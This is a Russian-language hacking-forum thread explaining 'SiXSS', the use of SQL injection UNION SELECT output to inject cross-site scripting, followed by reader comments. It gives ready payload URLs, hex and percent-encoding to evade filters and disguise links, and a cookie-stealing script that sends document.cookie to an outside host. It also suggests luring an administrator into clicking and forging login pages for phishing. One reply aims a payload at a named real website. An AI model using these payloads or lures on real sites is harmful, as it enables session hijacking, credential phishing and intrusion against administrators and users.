Данная статья расчитана на тех, кто знаком с такими понятиями, как SQL Injection и XSS атака. Без понимания основ, к прочтению не рекомендуется. (SQL injection: http://forum.antichat.ru/thread43966.html XSS: http://forum.antichat.ru/thread44125.html) 1. Введение Что же такое SiXSS? Это расшифровывается как SQL Injection Cross Site Scripting - комбинация SQL Inj и XSS атаки. Подразумевает под собой выполнение XSS атак через уязвимость скрипта к SQL Inj. 2. Область применения Применяется этот тип атаки, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. Подробно об этом написано здесь: http://www.securitylab.ru/analytics/216380.php (оно же здесь на античате: http://forum.antichat.ru/thread29763-sixss.html) Также применяется в тех случаях, когда кроме самой SQL injection, мы не можем ни подобрать имена таблиц (не у всех стоит, например, MySQL >5 с INFORMATION_SCHEMA), ни сделать, например, вывод в файл (masterhost). Здесь мы и заострим наше внимание. Кульминацией в обоих случаях будет являться применение новых технологии фишинга 3. Теория использования (на примере MySQL) В языке SQL есть комманда union, которая используется для объединения двух запросов. Например: Code: http://site.net/test.php?id=-1+union+select+1,DATABASE(),3/* Кроме этого, union select дает возможность вывести в окно браузера произвольный текст. Этим мы и воспользуемся, написав в строке адреса следующую вещь: Code: http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/* Готово. Должно выскочить окошко со словом SiXSS. Однако здесь мы можем столкнуться с двумя проблемами: а). Включенную функцию magic_quotes, которая обрежет нашу XSS. Обойти ее можно воспользовавшись тем, что MySQL позволяет переводить шестнадцатеричные значения вида 0хAB123456) в текст: Code: mysql> select HEX('<script>alert("SiXSS");</script>'); Получим значение: 3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E. Теперь наш запрос будет иметь вид: Code: http://site.net/test.php?id=-1+union+select+1,0x3C7363726970743E616C6572742822536958535322293B3C2F7363726970743E,3/* б). Выключенный javascript (либо вообще, либо плугином к firefox - noscript) Что же делать, если отключена работа javascript? И тут мы опять вспоминаем, что union select позволяет вывести в окно браузера ПРОИЗВОЛЬНЫЙ текст. То есть HTML тоже. Другими словами, получается, что подделав HTML страницу со вводом пароля, мы можем отослать любую инфу нашему скрипту, находящемуся где-нибудь на просторах интернета 4. Практика фишинга Итак, мы с вами нашли и проверили уязвимость, что же дальше? Просто попытаемся сунуть ссылку админу (например, посмотри пожалуйста, что происходит с сайтом?) Code: http://site.net/test.php?id=-1+union+select+1,<script>img=new Image();img.src="http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>,3/* Конечно, по такой ссылке он не пойдет. Поэтому приведем ее в божеский вид: Code: http://site.net/test.php?id=%2D%31%2B%75%6E%69%6F%6E%2B%73%65%6C%65%63%74%2B%31%2C0x3C7363726970743E696D673D6E657720496D61676528293B696D672E7372633D22687474703A2F2F6F6C642E616E7469636861742E72752F6367692D62696E2F732E6A70673F222B646F63756D656E742E636F6F6B69653B3C2F7363726970743E%2С%33%2F%2A Дальше методы впаривания ссылок админам расписывать не буду, так как об этом написано много статей с подробными примерами (скрипты-снифферы, поддельные странички и т.д.). Здесь будет работать уже ваша фантазия... 5. Заключение В этой статье я лишь хотел продемонстироровать возможности такого типа атак как SiXSS. Примеры фишинга вы можете найти в статье "... и более продвинутые sql инъекции", ссылку на которую я давал в самом начале. Также хотелось бы обратить внимание на то, что SQL Injection даже в очень ограниченной среде способна привести к довольно печальным последствиям, если не уделять внимание безопасности своих сайтов.
На самом деле это всего лишь пассивная (!) xss, эффективность которой не так уж и велика) Если уж и использовать, то через iframe, а ещё лучше просто добить инъекцию)
Заметь, Xss там, где ее быть не должно Что не может не радовать И не всегда можно инъекцию раскрыть (примеров полно)
http://www.uprava.org/section.php?id=-1+union+select+1,'%3Cscript%3Ealert();%3C/script%3E',3,5,6,7,8/* http://www.uprava.org/section.php?id=-1+union+select+1,0x536e406b333a2049736973202d206c616d6572203d29,3,5,6,7,8/* это толе? я встречал типа такого phpISIXss =\ тырын-пырын-уруру
Ну на самом деле не очень. Это просто одна из видов sql inj, и выделять это как отдельный вид атаки я бы даже не стал, да к тому же конструкция еще более громоздкая чем при использование обычного xss вектора. Итого: ничего нового и малоэффективно
Вообще про это уже давно написано было на секлабе, еще в 2005 году. Вот ссылка http://www.securitylab.ru/analytics/216380.php И где копирайты? Как минимум половина примеров и материалов отсюда: http://www.inattack.ru/article/535.html. А так имхо, не эффективно это и очень уж изощренно
Это сборная статья. на inattack был найден один из кусков материала. На секлаб ссылки есть (один в один причем). Также использованы материалы с xakep.ru + google Спасибо за критику, главное, что мне кажется, первый блин комом все таки не вышел. Есть куда двигаться и стремиться. Для наглядности могу раскрыть четвертый пункт чисто от себя. А основная цель все таки была не в том, чтобы описать новый способ атак, а "раскрыть" тему в рамках проекта античат. И абсолютно не в эффективности дело. P.S. Думаю, все же немного переделаю статью
Впринципе тема с sixxs довольна стара. И не очень сложное всё это дело. Кстати, в большинстве случаев если запрос: Code: http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/* выполняется, то и запрос Code: http://site.net/test.php?id="><script>alert("SiXSS")</script> выполнит то же самое. Но это так, небольшое логическое отступление.
Сколько раз я находил sql-inj с выводом на экран того, что вбивается в адресную строку браузера, то в большинстве случаев пассивная XSS была возможна, если правильно составить запрос вида: <script>alert("XSS")</script> (закрыть необходимые теги для выполнения сценария).
Смысл здесь в том, что у вас это работать не будет (в подавляющем больше случаев. У меня кстати тоже), если не 1. юзать utf-7 (с этим я особо пока не заморачивался) 2. переводить все в 0x. Однако здесь 2 проблемы: до кучи должна быть SQL inj, что не всегда имеется. Плюс, как и обозначено имеет маленькую эффективность. Но в итоге мы имеем альтернативу, хоть какую, первому способу, что в некоторй степени повышает шанс атаки
тока во втором случае это будет уже не SiXSS, а просто xss через вывод ошибки (ErrXSS =)).. с тем, что это сработает в большинстве случаев, я не очень согласен..
А я что написал?%) ну ясен перец что не сиксс ёпт. Я уже кучу сайтов видел где при сиксс выполняется код ксс